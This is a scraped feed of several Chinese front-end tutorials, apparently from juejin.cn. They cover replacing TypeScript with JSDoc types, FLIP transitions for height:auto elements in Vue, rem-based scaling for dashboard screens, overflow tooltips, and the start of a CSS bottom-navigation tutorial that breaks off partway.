在其当年度 Octoverse 开源状态报告中,在最流行的编程语言方面,TypeScript 越来越受欢迎,首次取代 Java 成为 GitHub 上 OSS 项目中第三大最受欢迎的语言,其用户群增长了 37%。


而 Stack Overflow 发布的 2023 年开发者调查报告也显示,JavaScript 连续 11 年成为最流行编程语言,使用占比达 63.61%,TypeScript 则排名第五,使用占比 38.87%。



image.png


更大的争议则来自于:2023年9月,Ruby on Rails 作者 DHH 宣布移除其团队开源项目 Turbo 8 中的 TypeScript 代码



他认为,TypeScript 对他来说只是阻碍。不仅因为它需要显式的编译步骤,还因为它用类型编程污染了代码,很影响开发体验。



无独有偶,不久前,知名前端 UI 框架 Svelte 也宣布从 TypeScript 切换到 JavaScript。负责 Svelte 编译器的开发者说,改用 JSDoc 后,代码不需要编译构建即可进行调试 —— 简化了编译器的开发工作。


Svelte 不是第一个放弃 TypeScript 的前端框架。早在 2020 年,Deno 就迁移了一部分內部 TypeScript 代码到 JavaScript,以减少构建时间。


如此一来,今年短期内已经有几个项目从 TypeScript 切换到 JavaScript 了,这个状况就很令人迷惑。难道从 TypeScript 切回 JavaScript 已经成了当下的新潮流?这难道不是在开历史的倒车吗?


TypeScript


由微软发布于 2012 年的 TypeScript,其定位是 JavaScript 的一个超集,它的能力是以 TC39 制定的 ECMAScript 规范为基准(即 JavaScript )。业内开始用 TypeScript 是因为 TypeScript 提供了类型检查,弥补了 JavaScript 只有逻辑没有类型的问题,


对于大型项目、多人协作和需要高可靠性的项目来说,使用 TypeScript 是很好的选择;静态类型检查的好处,主要包括:



  • 类型安全

  • 代码智能感知

  • 重构支持


而 TS 带来的主要问题则有:



  • 某些库的核心代码量很小,但类型体操带来了数倍的学习、开发和维护成本

  • TypeScript 编译速度缓慢,而 esbuild 等实现目前还不支持装饰器等特性

  • 编译体积会因为各种重复冗余的定义和工具方法而变大


相比于 Svelte 的开发者因为不厌其烦而弃用 TS 的事件本身,其改用的 JSDoc 对于很多开发者来说,却是一位熟悉的陌生人。


2. JSDoc:看我几分像从前?


早在 1999 年由 Netscape/Mozilla 发布的 Rhino -- 一个 Java 编写的 JS 引擎中,已经出现了类似 Javadoc 语法的 JSDoc 雏形


Michael Mathews 在 2001 年正式启动了 JSDoc 项目,2007 年发布了 1.0 版本。直到 2011 年,重构后的 JSDoc 3.0 已经可以运行在 Node.js 上


JSDoc 语法举例


定义对象类型:


/**
* @typedef {object} Rgb
* @property {number} red
* @property {number} green
* @property {number} blue
*/


/** @type {Rgb} */
const color = { red: 255, green: 255, blue: 255 };

定义函数类型:


/**
* @callback Add
* @param {number} x
* @param {number} y
* @returns {number}
*/

const add = (x, y) => x + y;

定义枚举:


/**
* Enumerate values type
* @enum {number}
*/

const Status = {
on: 1,
off: 0,
};

定义类:


class Computer {
/**
* @readonly Readonly property
* @type {string}
*/

CPU;

/**
* @private Private property
*/

_clock = 3.999;

/**
* @param {string} cpu
* @param {number} clock
*/

constructor(cpu, clock) {
this.CPU = cpu;
this._clock = clock;
}
}

在实践中,多用于配合 jsdoc2md 等工具,自动生成库的 API 文档等。


随着前后端分离的开发范式开始流行,前端业务逻辑也日益复杂,虽然不用为每个应用生成对外的 API 文档,但类型安全变得愈发重要,开发者们也开始尝试在业务项目中使用 jsdoc。但不久后诞生的 Typescript 很快就接管了这一进程。


但前面提到的 TS 的固有问题也困扰着开发者们,直到今年几起标志性事件的发生,将大家的目光拉回 JSDoc,人们惊讶地发现:JSDoc 并没有停留在旧时光中。



吾谓大弟但有武略耳,至于今者,学识英博,非复吴下阿蒙



除了 JSDoc 本身能力的不断丰富,2018 年发布的 TypeScript 2.9 版本无疑是最令人惊喜的一剂助力;该版本全面支持了将 JSDoc 的类型声明定义成 TS 风格,更是支持了在 JSDoc 注释的类型声明中动态引入并解析 TS 类型的能力。


image.png


比如上文中的一些类型定义,如果用这种新语法,写出来可以是这样的:


定义对象类型:


/**
* @typedef {{ brand: string; color: Rgb }} Car
*/


/** @type {Rgb} */
const color = { red: 255, green: 255, blue: 255 };

定义函数类型:


/**
* @typedef {(x: number, y: number) => number} TsAdd
*/


/** @type {TsAdd} */
const add = (x, y) => x + y;

TS 中的联合类型等也可以直接用:


/**
* Union type with pipe operator
* @typedef {Date | string | number} MixDate
*/


/**
* @param {MixDate} date
* @returns {void}
*/

function showDate(date) {
// date is Date
if (date instanceof Date) date;
// date is string
else if (typeof date === 'string') date;
// date is number
else date;
}

范型也没问题:


/**
* @template T
* @param {T} data
* @returns {Promise<T>}
* @example signature:
* function toPromise<T>(data: T): Promise<T>
*/

function toPromise(data) {
return Promise.resolve(data);
}

/**
* Restrict template by types
* @template {string|number|symbol} T
* @template Y
* @param {T} key
* @param {Y} value
* @returns {{ [K in T]: Y }}
* @example signature:
* function toObject<T extends string | number | symbol, Y>(key: T, value: Y): { [K in T]: Y; }
*/

function toObject(key, value) {
return { [key]: value };
}

类型守卫:


/**
* @param {any} value
* @return {value is YOUR_TYPE}
*/

function isYourType(value) {
let isType;
/**
* Do some kind of logical testing here
* - Always return a boolean
*/

return isType;
}

至于动态引入 TS 定义也很简单,不管项目本身是否支持 TS,我们都可以放心大胆地先定义好类型定义的 .d.ts 文件,如:


// color.d.ts
export interface Rgb {
red: number;
green: number;
blue: number;
}

export interface Rgba extends Rgb {
alpha: number;
}

export type Color = Rgb | Rbga | string;

然后在 JSDoc 中:


// color.js 
/** @type {import('<PATH_TO_D_TS>/color').Color} */
const color = { red: 255, green: 255, blue: 255, alpha: 0.1 };

当然,对于内建了基于 JSDoc 的类型检查工具的 IDE,比如以代表性的 VSCode 来说,其加持能使类型安全锦上添花;与 JSDoc 类型(即便不用TS语法也可以)对应的 TS 类型会被自动推断出来并显示、配置了 //@ts-check后可以像 TS 项目一样实时显示类型错误等。这些都很好想象,在此就不展开了。


JSDoc 和 TS 能力的打通,意味着前者书写方式的简化和现代化,成为了通往 TS 的便捷桥梁;也让后者有机会零成本就能下沉到业内大部分既有的纯 JS 项目中,这路是裤衩一下子就走宽了。


3. 用例:Protobuf+TS 的渐进式平替


既然我们找到了一种让普通 JS 项目也能快速触及类型检查的途径,那也不妨想一想对于在那些短期内甚至永远不会重构为 TS 的项目,能够复刻哪些 TS 带来的好处呢?


对于大部分现代的前后端分离项目来说,一个主要的痛点就是核心的业务知识在前后端项目之间是割裂的。前后端开发者根据 PRD 或 UI,各自理解业务逻辑,然后总结出各自项目中的实体、枚举、数据派生逻辑等;这些也被成为领域知识或元数据,其割裂在前端项目中反映为一系列问题:



  • API 数据接口的入参、响应类型模糊不清

  • 表单项的很多默认值需要硬编码、多点维护

  • 前后端对于同一概念的变量或动作命名各异

  • mock 需要手写,并常与最后实际数据结构不符

  • TDD缺乏依据,代码难以重构

  • VSCode 中缺乏智能感知和提示


对于以上问题,比较理想的解决方法是前端团队兼顾 Node.js 中间层 BFF 的开发,这样无论是组织还是技术都能最大程度通用。



  • 但从业内近年的诸多实践来看,这无疑是很难实现的:即便前端团队有能力和意愿,这样的 BFF 模式也难以为继,此中既有 Node.js 技术栈面临复杂业务不抗打的问题,更多的也有既有后端团队的天然抗拒问题。

  • 一种比较成功的、前后端接受度都较好的解决方案,是谷歌推出的 ProtoBuf。


在通常的情况下,ProtoBuf(Protocol Buffers)的设计思想是先定义 .proto 文件,然后使用编译器生成对应的代码(例如 Java 类和 d.ts 类型定义)。这种方式确保了不同语言之间数据结构的一致性,并提供了跨语言的数据序列化和反序列化能力



  • 但是这无疑要求前后端团队同时改变其开发方式,如果不是从零起步的项目,推广起来还是有一点难度


因此,结合 JSDoc 的能力,我们可以设计一种退而求其次、虽不中亦不远矣的改造方案 -- 在要求后端团队写出相对比较规整的实体定义等的前提下,编写提取转换脚本,定期或手动生成对应的 JSDoc 类型定义,从而实现前后端业务逻辑的准确同步。


image.png


比如,以一个Java的BFF项目为例,可以做如下转换


枚举:


public enum Color {
RED("#FF0000"), GREEN("#00FF00"), BLUE("#0000FF");

private String hexCode;

Color(String hexCode) {
this.hexCode = hexCode;
}

public String getHexCode() {
return hexCode;
}
}

public enum Day {
MONDAY, TUESDAY, WEDNESDAY, THURSDAY, FRIDAY, SATURDAY, SUNDAY
}

转换为:


/**
* @readonly
* @enum {String}
*/

export const Color = {
RED: '#FF0000',
GREEN: '#00FF00',
BLUE: '#0000FF',
}

/**
* @readonly
* @enum {Number}
*/

export const Day = {
MONDAY: 0,
TUESDAY: 1,
WEDNESDAY: 2,
THURSDAY: 3,
FRIDAY: 4,
SATURDAY: 5,
}


POJO:


public class MyPojo {
private Integer id;
private String name;

public Integer getId() {
return id;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}
}

转换为:


/**
* @typedef {Object} MyPojo
* @property {Integer} [id]
* @property {String} [name]
*/


在转换的方法上,理论上如果能基于 AST 等手段当然更好,但如本例中的 Java 似乎没有特别成熟的转换工具,java-parser 等库文档资料又过少。


而基于正则的转换虽然与后端具体写法耦合较大,但也算简单灵活。这里给出一个示例 demo 项目供参考:github.com/tonylua/jav…


作者:江米小枣tonylua
来源:juejin.cn/post/7308923428149395491
收起阅读 »

实现 height: auto 的高度过渡动画

web
对于一个 height 设置为 auto 的元素,当它的高度发生了不由样式引起的改变时,并不会触发 transition 过渡动画。 容器元素的高度往往是由其内容决定的,如果一个容器元素的内容高度突然发生了改变,而无法进行过渡动画,有时会显得比较生硬,比如下面...
继续阅读 »

对于一个 height 设置为 auto 的元素,当它的高度发生了不由样式引起的改变时,并不会触发 transition 过渡动画。


容器元素的高度往往是由其内容决定的,如果一个容器元素的内容高度突然发生了改变,而无法进行过渡动画,有时会显得比较生硬,比如下面的登录框组件:


001.gif


那么这种非样式引起的变化如何实现过渡效果呢?可以借助 FLIP 技术。


FLIP 是什么


FLIPFirstLastInvertPlay 的缩写,其含义是:



  • First - 获取元素变化之前的状态

  • Last - 获取元素变化后的最终状态

  • Invert - 将元素从 Last 状态反转到 First 状态,比如通过添加 transform 属性,使得元素变化后,看起来仍像是处于 First 状态一样

  • Play - 此时添加过渡动画,再移除 Invert 效果(取消 transform),动画就会开始生效,使得元素看起来从 First 过渡到了 Last


需要用到的 Web API


要实现一个基本的 FLIP 过渡动画,需要使用到以下一些 Web API



基本过渡效果实现


使用以上 API,就可以初步实现一个监听元素尺寸变化,并对其应用 FLIP 动画的函数 useBoxTransition,代码如下:


/**
*
* @param {HTMLElement} el 要实现过渡的元素 DOM
* @param {number} duration 过渡动画持续时间,单位 ms
* @returns 返回一个函数,调用后取消对过渡元素尺寸变化的监听
*/

export default function useBoxTransition(el: HTMLElement, duration: number) {
// boxSize 用于记录元素处于 First 状态时的尺寸大小
let boxSize: {
width: number
height: number
} | null = null

const elStyle = el.style // el 的 CSSStyleDeclaration 对象

const resizeObserver = new ResizeObserver((entries) => {
for (const entry of entries) {
// 被观察的 box 发生尺寸变化时要进行的操作

// 获取当前回调调用时,box 的宽高
const borderBoxSize = entry.borderBoxSize[0]
const writtingMode = elStyle.getPropertyValue('writing-mode')
const isHorizontal =
writtingMode === 'vertical-rl' ||
writtingMode === 'vertical-lr' ||
writtingMode === 'sideways-rl' ||
writtingMode === 'sideways-lr'
? false
: true
const width = isHorizontal
? borderBoxSize.inlineSize
: borderBoxSize.blockSize
const height = isHorizontal
? borderBoxSize.blockSize
: borderBoxSize.inlineSize

// 当 box 尺寸发生变化时,使用 FLIP 动画技术产生过渡动画,使用过渡效果的是 scale 形变
// 根据 First 和 Last 计算出 Inverse 所需的 scale 大小
// box 首次被观察时会触发一次回调,此时 boxSize 为 null,scale 应为 1
const scaleX = boxSize ? boxSize.width / width : 1
const scaleY = boxSize ? boxSize.height / height : 1
// 尺寸发生变化的瞬间,要使用 scale 变形将其保持变化前的尺寸,要先将 transition 去除
elStyle.setProperty('transition', 'none')
elStyle.setProperty('transform', `scale(${scaleX}, ${scaleY})`)
// 将 scale 移除,并应用 transition 以实现过渡效果
setTimeout(() => {
elStyle.setProperty('transform', 'none')
elStyle.setProperty('transition', `transform ${duration}ms`)
})
// 记录变化后的 boxSize
boxSize = { width, height }
}
})
resizeObserver.observe(el)
const cancelBoxTransition = () => {
resizeObserver.unobserve(el)
}
return cancelBoxTransition
}

效果如下所示:


002.gif


效果改进


目前已经实现了初步的过渡效果,但在一些场景下会有些瑕疵:



  • 如果在过渡动画完成前,元素有了新的状态变化,则动画被打断,无法平滑过渡到新的状态

  • FLIP 动画过渡过程中,实际上发生变化的是 transform 属性,并不影响元素在文档流中占据的位置,如果需要该元素影响周围的元素,那么周围元素无法实现平滑过渡


如下所示:


003.gif


对于动画打断问题的优化思路



  • 使用 Window.requestAnimationFrame() 方法在每一帧中获取元素的尺寸

  • 这样做可以实时地获取到元素的尺寸,实时地更新 First 状态


对于元素在文档流中问题的优化思路



  • 应用过渡的元素外可以套一个 .outer 元素,其定位为 relative,过渡元素的定位为 absolute,且居中于 .outer 元素

  • 当过渡元素尺寸发生变化时,通过 resizeObserver 获取其最终的尺寸,将其宽高设置给 .outer 元素(实例代码运行于 Vue 3 中,因此使用的是 Vue 提供的 ref api 将其宽高暴露出来,可以方便地监听其变化;如果在 React 中则可以将设置 .outer 元素宽高的方法作为参数传入 useBoxTransition 中,在需要的时候调用),并给 .outer 元素设置宽高的过渡效果,使其在文档流中所占的位置与过渡元素的尺寸同步

  • 但是也要注意,这样做可能会引起浏览器高频率的重排,在复杂布局中慎用!


改进后的useBoxTransition 函数如下:


import throttle from 'lodash/throttle'
import { ref } from 'vue'

type BoxSize = {
width: number
height: number
}
type BoxSizeRef = globalThis.Ref<BoxSize>

/**
*
* @param {HTMLElement} el 要实现过渡的元素 DOM
* @param {number} duration 过渡动画持续时间,单位 ms
* @param {string} mode 过渡动画缓动速率,同 CSS transition-timing-function 可选值
* @returns 返回一个有两个项的元组:第一项为 keyBoxSizeRef,当元素大小发生变化时会将变化后的目标尺寸发送给 keyBoxSizeRef.value;第二项为一个函数,调用后取消对过渡元素尺寸变化的监听
*/

export default function useBoxTransition(
el: HTMLElement,
duration: number,
mode?: string
) {
let boxSizeList: BoxSize[] = [] // boxSizeList 表示对 box 的尺寸的记录数组;为什么是使用列表:因为当 box 尺寸变化的一瞬间,box 的 transform 效果无法及时移除,此时 box 的尺寸可能是非预期的,因此使用列表来记录 box 的尺寸,在必要的时候尽可能地将非预期的尺寸移除
const keyBoxSizeRef: BoxSizeRef = ref({ width: 0, height: 0 }) // keyBoxSizeRef 是
let isObserved = false // box 是否已经开始被观察
let frameId = 0 // 当前 animationFrame 的 id
let isTransforming = false // 当前是否处于变形过渡中

const elStyle = el.style // el 的 CSSStyleDeclaration 对象
const elComputedStyle = getComputedStyle(el) // el 的只读动态 CSSStyleDeclaration 对象

// 获取当前 boxSize 的函数
function getBoxSize() {
const rect = el.getBoundingClientRect() // el 的 DOMRect 对象
return { width: rect.width, height: rect.height }
}

// 同步更新 boxSizeList
function updateBoxsize(boxSize: BoxSize) {
boxSizeList.push(boxSize)
// 只保留前最新的 4 条记录
boxSizeList = boxSizeList.slice(-4)
}

// 定义 animationFrame 的回调函数,使得当 box 变形时可以更新 boxSize 记录
const animationFrameCallback = throttle(() => {
// 为避免使用了函数节流后,导致回调函数延迟触发使得 cancelAnimationFrame 失败,因此使用 isTransforming 变量控制回调函数中的操作是否执行
if (isTransforming) {
const boxSize = getBoxSize()
updateBoxsize(boxSize)
frameId = requestAnimationFrame(animationFrameCallback)
}
}, 20)

// 过渡事件的回调函数,在过渡过程中实时更新 boxSize
function onTransitionStart(e: Event) {
if (e.target !== el) return
// 变形中断的一瞬间,boxSize 的尺寸可能是非预期的,因此在变形开始时,将最新的 3 个可能是非预期的 boxSize 移除
if (boxSizeList.length > 1) {
boxSizeList = boxSizeList.slice(0, 1)
// console.log('移除3项', boxSizeList.slice(0, 1))
}
isTransforming = true
frameId = requestAnimationFrame(animationFrameCallback)
// console.log('过渡开始')
}
function onTransitionCancel(e: Event) {
if (e.target !== el) return
isTransforming = false
cancelAnimationFrame(frameId)
// console.log('过渡中断')
}
function onTransitionEnd(e: Event) {
if (e.target !== el) return
isTransforming = false
cancelAnimationFrame(frameId)
// console.log('过渡完成')
}

el.addEventListener('transitionstart', onTransitionStart)
el.addEventListener('transitioncancel', onTransitionCancel)
el.addEventListener('transitionend', onTransitionEnd)

const resizeObserver = new ResizeObserver((entries) => {
for (const entry of entries) {
// 被观察的 box 发生尺寸变化时要进行的操作

// 获取当前回调调用时,box 的宽高
const borderBoxSize = entry.borderBoxSize[0]
const writtingMode = elStyle.getPropertyValue('writing-mode')
const isHorizontal =
writtingMode === 'vertical-rl' ||
writtingMode === 'vertical-lr' ||
writtingMode === 'sideways-rl' ||
writtingMode === 'sideways-lr'
? false
: true
const width = isHorizontal
? borderBoxSize.inlineSize
: borderBoxSize.blockSize
const height = isHorizontal
? borderBoxSize.blockSize
: borderBoxSize.inlineSize

const boxSize = { width, height }

// 当 box 尺寸发生变化时以及初次触发回调时,将此刻 box 的目标尺寸暴露给 keyBoxSizeRef
keyBoxSizeRef.value = boxSize

// box 首次被观察时会触发一次回调,此时不需要应用过渡,只需将当前尺寸记录到 boxSizeList 中
if (!isObserved) {
isObserved = true
boxSizeList.push(boxSize)
return
}

// 当 box 尺寸发生变化时,使用 FLIP 动画技术产生过渡动画,使用过渡效果的是 scale 形变
// 根据 First 和 Last 计算出 Inverse 所需的 scale 大小
// 不读取序号为 0 的记录,以免尺寸变化的一瞬间,box 的 transform 未来得及移除,使得最新的一条尺寸记录是非预期的
const scaleX = boxSizeList[0].width / width
const scaleY = boxSizeList[0].height / height
// 尺寸发生变化的瞬间,要使用 scale 变形将其保持变化前的尺寸,要先将 transition 去除
elStyle.setProperty('transition', 'none')
const originalTransform =
elStyle.transform || elComputedStyle.getPropertyValue('--transform')
elStyle.setProperty(
'transform',
`${originalTransform} scale(${scaleX}, ${scaleY})`
)
// 将 scale 移除,并应用 transition 以实现过渡效果
setTimeout(() => {
elStyle.setProperty('transform', originalTransform)
elStyle.setProperty('transition', `transform ${duration}ms ${mode}`)
})
}
})
resizeObserver.observe(el)
const cancelBoxTransition = () => {
resizeObserver.unobserve(el)
cancelAnimationFrame(frameId)
}
const result: [BoxSizeRef, () => void] = [keyBoxSizeRef, cancelBoxTransition]
return result
}


相应的 vue 组件代码如下:


<template>
<div class="outer" ref="outerRef">
<div class="card-container" ref="cardRef">
<div class="card-content">
<slot></slot>
</div>
</div>
</div>
</template>

<script setup lang="ts">
import useBoxTransition from '@/utils/useBoxTransition'

type Props = {
transition?: boolean
duration?: number
mode?: string
}
const props = defineProps<Props>()

const { transition, duration = 200, mode = 'ease' } = props

const cardRef = ref<HTMLElement | null>(null)
const outerRef = ref<HTMLElement | null>(null)
let cancelBoxTransition = () => {} // 取消 boxTransition 效果

onMounted(() => {
if (cardRef.value) {
const cardEl = cardRef.value as HTMLElement
const outerEl = outerRef.value as HTMLElement
if (transition) {
const boxTransition = useBoxTransition(cardEl, duration, mode)
const keyBoxSizeRef = boxTransition[0]
cancelBoxTransition = boxTransition[1]
outerEl.style.setProperty(
'--transition',
`weight ${duration}ms ${mode}, height ${duration}ms ${mode}`
)
watch(keyBoxSizeRef, () => {
outerEl.style.setProperty('--height', keyBoxSizeRef.value.height + 'px')
outerEl.style.setProperty('--width', keyBoxSizeRef.value.width + 'px')
})
}
}
})
onUnmounted(() => {
cancelBoxTransition()
})
</script>

<style scoped lang="less">
.outer {
position: relative;
&::before {
content: '';
display: block;
width: var(--width);
height: var(--height);
transition: var(--transition);
}

.card-container {
position: absolute;
top: 50%;
left: 50%;
width: 100%;
--transform: translate(-50%, -50%);
transform: var(--transform);
box-sizing: border-box;
background-color: rgba(255, 255, 255, 0.7);
border-radius: var(--border-radius, 20px);
overflow: hidden;
backdrop-filter: blur(10px);
padding: 30px;
box-shadow: var(--box-shadow, 0 0 15px 0 rgba(0, 0, 0, 0.3));
}
}
</style>

优化后的效果如下:


004.gif


005.gif


注意点


过渡元素本身的 transform 样式属性


useBoxTransition 函数中会覆盖应用过渡的元素的 transform 属性,如果需要额外为元素设置其它的 transform 效果,需要使用 css 变量 --transform 设置,或使用内联样式设置。


这是因为,useBoxTransition 函数中对另外设置的 transform 效果和过渡所需的 transform 效果做了合并。


然而通过 getComputedStyle(Element) 读取到的 transform 的属性值总是会被转化为 matrix() 的形式,使得 transform 属性值无法正常合并;而 CSS 变量和使用 Element.style 获取到的内联样式中 transform 的值是原始的,可以正常合并。


如何选择获取元素宽高的方式


Element.getBoundingClientRect() 获取到的 DOMRect 的宽高包含了 transform 变化,而 Element.offsetWidth / Element.offsetHeight 以及 ResizeObserverEntry 对象获取到的宽高是元素本身的占位大小。


因此在需要获取 transition 过程中,包含 transform 效果的元素大小时,使用 Element.getBoundingClientRect(),否则可以使用 Element.offsetWidth / Element.offsetHeightResizeObserverEntry 对象。


获取元素高度时遇到的 bug


测试案例中使用了 elementPlus UI 库的 el-tabs 组件,当元素包含该组件时,无论是使用 Element.getBoundingClientRect()Element.offsetHeight 还是使用 Element.StylegetComputedStyle(Element) 获取到的元素高度均缺少了 40px;而使用 ResizeObserverEntry 对象获取到的高度则是正确的,但是它无法脱离 ResizeObserver API 独立使用。


经过测试验证,缺少的 40px 高度来自于 el-tabs 组件中 .el-tabs__header 元素的高度,也就是说,在获取元素高度时,将 .el-tabs__header 元素的高度忽略了。


测试后找出的解决方法是,手动将 .el-tabs__header 元素样式(注意不要写在带 scoped 属性的 style 标签中,会被判定为局部样式而无法生效)的 height 属性指定为 calc(var(--el-tabs-header-height) - 1px),即可恢复正常的高度计算。


至于为什么这样会造成高度计算错误,希望有大神能解惑。


作者:zzc6332
来源:juejin.cn/post/7307894647655759911
收起阅读 »

大屏可视化适配

web
如何适配屏幕 1.页面尺寸比与屏幕尺寸比的关系 首先设计稿的项目宽高比是16:9 大屏可视化需要用同一个页面,适配各种尺寸的屏幕。当显示屏幕的尺寸比与页面的尺寸比不一致时,则需要将页面尽可能放大居中显示,其余地方留白。 以16:9为例,当显示屏幕的尺寸比小于1...
继续阅读 »

如何适配屏幕


1.页面尺寸比与屏幕尺寸比的关系


首先设计稿的项目宽高比是16:9


大屏可视化需要用同一个页面,适配各种尺寸的屏幕。当显示屏幕的尺寸比与页面的尺寸比不一致时,则需要将页面尽可能放大居中显示,其余地方留白。

以16:9为例,当显示屏幕的尺寸比小于16:9时,
整个页面应该垂直居中,页面有效宽度与屏幕宽度相同。


image.png
当显示屏幕的尺寸比大于等于16:9 时,整个页面应该水平居中,页面有效高度应该与屏幕高度相同。


image.png


计算方法


image.png



  • Wp 为页面有效宽度

  • Hp 为页面有效高度

  • 页面左右居中,上下居中,四周留白即可

  • 然后在 head 里用 JS 设置 1rem = Wp / 100


* 2.动态 rem 方案



  • 为了适配不同的屏幕,在页面布局时要使用自适应布局,即不能使用固定像素,需要用相对单位 remem 是相对于父元素的字号的比例,rem 是相对于根元素 html 的字号的比例。
    为了使用上的方便,需要为根元素设置合适的字号。如果将页面有效宽度看成100份的话,我们希望 1rem=(Wp/100)px。因此将根元素的字号设置为Wp/100 即可。

    当我们根据设计图进行布局时,我们能得到的是每个区域的像素值 px,我们需要一个计算公式将 px 转换为 rem 单位。


适配一个div


div在设计稿的宽度:


image.png
换算公式封装成CSS函数


@function px($n) {
@return $n / 2420 * 100rem;
}

代码实现


<head> 中用 JS 获取到浏览器(即设备)的高度和宽度,并为根元素设置合适的字号。这部分可以定义为 initHTMLFontSize 函数


const clientHeight = document.documentElement.clientHeight
const clientWidth = document.documentElement.clientWidth

const pageWidth = (clientWidth / clientHeight < 16 / 9 && clientWidth > 500)? clientWidth : clientHeight * 16 / 9
const pageHeight = pageWidth * 9 / 16
window.pageWidth = pageWidth
window.pageHeight = pageHeight
document.documentElement.style.fontSize = `${pageWidth / 100}px`

<body> 底部用 JS 设置页面的有效高度和宽度,并使页面有效内容 #root 垂直居中。

这部分则定义为 initPagePosition 函数


const root = <HTMLElement>document.querySelector('#root')
root.style.width = window.pageWidth + 'px'
root.style.height = window.pageHeight + 'px'
root.style.marginTop = (document.documentElement.clientHeight - window.pageHeight) / 2 + 'px'

使页面有效内容 #root 水平居中只需用 CSS 设置margin-left: automargin-right: auto即可


3.Grid 布局划分各图表区域


在容器 <main>  标签里面用 grid-template-areas 给各图表写好分区,每一个栏位使用一个变量表示,对应的 item 内设置 grid-area 即可。

再用 grid-template-columnsgrid-template-rows 来设定每行每列的长度,设定长度时可以用 fr 来按比例分配。

grid-column-gapgrid-row-gap 用来设置列与列,行与行之间的间隙。


.home > main {
flex: 1;
display: grid;
grid-template-areas:
"box1 box2 box4 box5"
"box3 box3 box4 box5";
grid-template-columns: 366fr 361fr 811fr 747fr;
grid-template-rows: 755fr 363fr;
grid-column-gap: px(28);
grid-row-gap: px(28);
.section1 {
grid-area: box1;
}
.section2 {
grid-area: box2;
}
.section3 {
grid-area: box3;
}
.section4 {
grid-area: box4;
}
.section5 {
grid-area: box5;
}
}

作者:用户45275688681
来源:juejin.cn/post/7308434215811924018
收起阅读 »

实现一个简单的文本溢出提示效果

web
需求背景 写一段简单的HTML代码: <div class="container">超级无敌大怪兽在此!</div> 此时如果我们为其加上文本溢出处理,只需简单三行css代码即可搞定: .container { width:...
继续阅读 »

需求背景


写一段简单的HTML代码:


<div class="container">超级无敌大怪兽在此!</div>


此时如果我们为其加上文本溢出处理,只需简单三行css代码即可搞定:


.container {
width: 100px;

overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}


如果要加上hover显示完整文字的效果,也简单,各大组件库都有tooltip组件,套上就行了,我这里就简单加个title属性演示:


<div class="container" title="超级无敌大怪兽在此!">超级无敌大怪兽在此!</div>


可是这样不是很合理,如果我的文字本来就没有溢出,加这个提示没有意义,我只需要这段当文字不能完全展示时,才需要有这个提示,类似这种效果:



那么现在,别往下滑了,如果是聪明的你会怎么开发这个需求呢?先想一想,再往下看。









需求方案


其实比较简单哈,监听元素的mouseenter事件,然后判断元素的scrollWidth是不是大于clientWidth,就可以知道元素是否在水平方向上发生溢出,然后再加上tooltip就好了,完整代码如下:


<div class="container" onmouseover="handleMouseEnter(this)">超级无敌大怪兽在此!</div>
<div class="container large" onmouseenter="handleMouseEnter(this)">超级无敌大怪兽在此!</div>

.container {
width: 100px;

overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}

.large {
width: 500px;
}

const handleMouseEnter = (node) => {
if (node.scrollWidth > node.clientWidth) {
node.setAttribute('title', node.innerText);
}
};

然后就没了,emmmmmm。。。。


对,没了,就这么简单。


总结


这个需求呢,其实如果之前没接触过,一时半会还真不太能想到什么好的解法,但其实做过一遍或者看到过别人分享的思路,之后自己做的时候一下就能想到,所以就给大伙分享一下,万一就帮到你了呢。最重要的是,我又成功水了一篇文,嘿嘿。


作者:超级无敌大怪兽
来源:juejin.cn/post/7307468904732426267
收起阅读 »

基于css3写出的底部导航栏效果(详细注释)

web
进行准备工作 这边对基本的样式进行了设置,首先在html部分设置了一个名为nav的div,推荐大家语义化来写不要学我这种,随后进行基本的默认样式的清除,并且设置盒子为ie盒子方便后续的计算,整体都设置为弹性盒,方便后续矢量文字的操作,对导航栏nav进行定位,...
继续阅读 »

进行准备工作



这边对基本的样式进行了设置,首先在html部分设置了一个名为nav的div,推荐大家语义化来写不要学我这种,随后进行基本的默认样式的清除,并且设置盒子为ie盒子方便后续的计算,整体都设置为弹性盒,方便后续矢量文字的操作,对导航栏nav进行定位,方便后续位置上的操作



image.png



<body>
<!-- 目前就一个简单的nav,推荐大家语义化来写 -->
<div class="nav"></div>
</body>

<style>
/* 清除一些默认样式 */
*{
margin: 0;
padding: 0;
box-sizing: border-box;
list-style: none;
}
a{
text-decoration: none;/*确保在浏览器中显示链接时,没有任何文本装饰,如下划线。 */
}
/* 对整体进行设置,并且都设置为弹性盒,方便进行操作 */
body{
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
background: #222327;
}
/* 设置导航栏样式 */
.nav{
/* 对导航栏位置进行定位处理,方便后续的图标位置的设置 */
position: relative;
width: 400px;
height: 70px;
background: #fff;
display: flex;
justify-content: center;
align-items: center;
border-radius: 10px;
}
</style>


引入矢量文字



这里面呢引用了阿里巴巴的矢量文字效果,具体如何使用请见http://www.iconfont.cn/manage/inde…
里面的教程,这边我挑了五个字体图标加入到了网页中,并且用ul和lil加入到了导航栏中,目前是竖着排列的,后续加入css样式之后会好起来,并且在第一个li上加入了active的css样式,用于设置选中效果



image.png


image.png


<link rel="stylesheet" href="//at.alicdn.com/t/c/font_4173165_2g4t5a6pg9v.css">
<div class="nav">
<ul>
<li class="active"> <span><i class="iconfont icon-shouye"></i></span></li>
<li > <span><i class="iconfont icon-liuyan"></i></span></li>
<li > <span><i class="iconfont icon-code"></i></span></li>
<li > <span><i class="iconfont icon-box-empty"></i></span></li>
<li > <span><i class="iconfont icon-gitee-fill-round"></i></span></li>
</ul>
</div>

对导航栏和ui li字体图标进行设置



这里面呢针对ul和li进行了设置,使之达到了图下的效果,对ul 和li进行了弹性盒的设置,li中的使用flex:1让这些矢量文字按等份划分容器宽度,使之达到了一个距离平均的样式,并且设置了这个zindex的叠加级别



image.png


    .nav{
/* 对导航栏位置进行定位处理,方便后续的图标位置的设置 */
position: relative;
width: 400px;
height: 70px;
background: #fff;
display: flex;
justify-content: center;
align-items: center;
border-radius: 10px;
}
.nav ul{
display: flex;
width: 350px;
}
.nav ul li{
height: 60px;
/* flex:1是让所有的li平均分nav这个容器 */
flex: 1;
position: relative;
z-index: 2;
display: flex;
justify-content: center;
}

继续设置i元素和span元素



